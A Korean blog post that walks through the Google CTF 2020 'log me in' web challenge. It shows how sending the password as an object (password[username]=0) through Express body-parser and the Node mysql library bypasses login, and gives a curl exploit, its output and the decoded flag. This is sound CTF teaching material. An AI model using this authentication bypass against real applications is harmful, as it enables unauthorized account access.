google ctf web 문제의 log me in 이다.

해당 문제 write up은 다른 사람의 롸업을 보고 작성한 것이다.

 

문제 페이지에 접속하면 아래와 같은 페이지가 나온다.

 

 

 

이번 문제는 코드를 올려 줬는데, 문제의 코드는 아래와 같다.

/**
 * @fileoverview Description of this file.
 */

const mysql = require('mysql');
const express = require('express');
const cookieSession = require('cookie-session');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');

const flagValue = "..."
const targetUser = "michelle"

const {
  v4: uuidv4
} = require('uuid');

const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);

/* strict routing to prevent /note/ paths etc. */
app.set('strict routing', true)
app.use(cookieParser());

/* secure session in cookie */
app.use(cookieSession({
  name: 'session',
  keys: ['...'] //don't even bother
}));

app.use(bodyParser.urlencoded({
  extended: true
}))

app.use(function(req, res, next) {
  if(req && req.session && req.session.username) {
    res.locals.username = req.session.username
    res.locals.flag = req.session.flag
  } else {
    res.locals.username = false
    res.locals.flag = false
  }
  next()
});

/* server static files from static folder */
app.use('/static', express.static('static'))

app.use(function( req, res, next) {
  if(req.get('X-Forwarded-Proto') == 'http') {
      res.redirect('https://' + req.headers.host + req.url)
  } else {
    if (process.env.DEV) {
      return next()
    } else  {
    return next()
    }
  }
});
// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/* csrf middleware, csrf_token stored in the session cookie */
const csrf = (req, res, next) => {
  const csrf = uuidv4();
  req.csrf = req.session.csrf || uuidv4();
  req.session.csrf = csrf;
  res.locals.csrf = csrf;

  nocache(res);

  if (req.method == 'POST' && req.csrf !== req.body.csrf) {
    return res.render('index', {error: 'Invalid CSRF token'});
  }

  next();
}

/* disable cache on specifc endpoints */
const nocache = (res) => {
  res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
  res.setHeader('Pragma', 'no-cache');
  res.setHeader('Expires', '0');
}

/* auth middleware */
const auth = (req, res, next) => {
  if (!req.session || !req.session.username) {
    return res.render('index', {error:"You must be logged in to access that"});
  }
  next()
}

// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
app.get('/logout', (req, res) => {
  req.session = null;
  res.redirect('/');
});


app.get('/', csrf, (req, res) => {
  res.render('index');
});

app.get('/about', (req, res) => {
  res.render('about');

});
app.get('/me', auth, (req, res) => {
  res.render('profile');
});

app.get('/flag', csrf, auth, (req, res) => {
  res.render('premium')
});

app.get('/login', (req, res) => {
  res.render('login');
});

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    }
    else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } 
    else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

/*
 * ...SNIP...
 */

 

`

이전 web문제와 마찬가지로 `body-parser`의 `extended`의 값은 `true`로 되어 있다.

const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({
  extended: true
}))

 

 

이 문제의 핵심부분은 아래 로그인 코드이다.

`flag`를 얻기 위해서는 michelle로 로그인 해야한다. sql injection을 하기에는 secure code로 작성되어 있어 injection은 할 수 없다.

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    }
    else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } 
    else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

 

 

How to exploit

접근 방법은 username과 password 값을 `array`로 넘기는 것이다.

예제 코드로 설명해 보겠다. 아래 코드 처럼 간단한 로그인 페이지를 구현해 보았다.

아래 코드를 실행하면 username이 test이고 password가 test인 데이터를 출력 할 것이다.

/*
mysql> select * from user;
+-------+--------+
| id    | pw     |
+-------+--------+
| test  | test   |
| admin | 123123 |
+-------+--------+
*/
var username = "test";
var password = "test";

const sql = "select * from user where id=? and pw=?";
var result2 = connection.query(sql,[username, password], function(err, result){
    if(err){
        console.log(err);
        return;
    }
    else{
        console.log(result, err);
        return;
    }
})

console.log(result2.sql);

 

 

하지만 username과 password를 `array`로 넘기면 어떻게 되는지 보자.

$ curl -X POST 172.17.0.2:8080 -d "username=test&password[b]=aaaa"

test
{ b: 'aaaa' }

위 결과 처럼 dictionary 타입으로 변수에 저장이 된다.

 

 

위 결과를 참고하여 아래와 같은 요청을 날리면 어떤 결과가 나오는지 보자.

`username=admin&password[id]=0`

const sql = "select * from user where id=? and pw=?";
var result2 = connection.query(sql,["admin", {id:"0"}], function(err, result){
    if(err){
        console.log(err);
        return;
    }
    else{
        console.log(result, err);
        return;
    }
})

console.log(result2.sql);

 

id는 admin이 맞지만 pw를 모르는 상황에서 admin으로 로그인이 된것을 볼 수 있다.

mysql query를 보면 `pw=id='0'` 라는 것을 잘 해석 해보면 왜 admin으로 로그인이 된 것인지 알 수 있다.

root@1f07006c8c40:/home# node app.js 
select * from user where id='admin' and pw=`id` = '0'
[ RowDataPacket { id: 'admin', pw: '123123' } ] null

 

 

`pw=id`의 결과를 보면 pw와 id가 같은 값은 1, 다른 값은 0을 리턴하게 된다.

mysql에서는 자동으로 형변환을 해준다. 따라서 `'0'` 은 숫자로 `0` 즉, `false` 를 뜻한다.

 

따라서 id='admin' 인 데이터를 가져오면 pw='123123' 이 되고 'admin'과 비교를 하면 false이다.

false=0이므로 결과는 1을 리턴하게 된다. 그래서 `admin`으로 로그인이 된 것이다. 

 

 

 

Exploit

$ curl -v -X POST https://log-me-in.web.ctfcompetition.com/login -d "username=michelle&password[username]=0"
< HTTP/2 302 
< content-type: text/plain; charset=utf-8
< x-powered-by: Express
< location: /me
< vary: Accept
< set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly
< set-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponly
< x-cloud-trace-context: 287d33a65affe6d7dbb60ae791a6f961;o=1
< date: Thu, 27 Aug 2020 09:47:32 GMT
< server: Google Frontend
< content-length: 25


atob('eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9')
=> {"username":"michelle","flag":"CTF{a-premium-effort-deserves-a-premium-flag}"}

 

 

 

'CTF > etc CTF' 카테고리의 다른 글

[DamCTF 2020] write up  (1) 2020.10.12
[b01lers 2020 CTF] write up  (0) 2020.10.07
[Google CTF 2020] log-me-in write up  (5) 2020.08.27
[Google CTF 2020] pasteurize write up  (0) 2020.08.27
InCTF2020 - coins write up  (0) 2020.08.02
[CTF] - wechall Training: MySQL II 풀이  (0) 2019.04.10